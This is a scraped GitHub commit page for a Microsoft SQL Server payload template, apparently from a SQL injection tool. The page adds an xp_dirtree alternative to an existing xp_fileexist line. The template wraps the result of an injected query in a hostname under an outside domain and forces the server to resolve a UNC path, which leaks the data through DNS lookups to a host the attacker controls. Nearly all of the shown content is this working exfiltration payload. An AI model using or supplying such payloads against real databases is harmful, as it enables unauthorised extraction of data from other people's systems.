Thanks to visit codestin.com Credit goes to github.com
We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent 5f94987 commit 46cfa64Copy full SHA for 46cfa64
1 file changed
procs/mssqlserver/dns_request.txt
@@ -1,3 +1,4 @@
1
DECLARE @host varchar(1024);
2
SELECT @host = '%PREFIX%.' + (%QUERY%) + '.%SUFFIX%' + '.%DOMAIN%';
3
EXEC('xp_fileexist "\\' + @host + '\c$boot.ini"');
4
+# or EXEC('xp_dirtree "\\' + @host + '."');
0 commit comments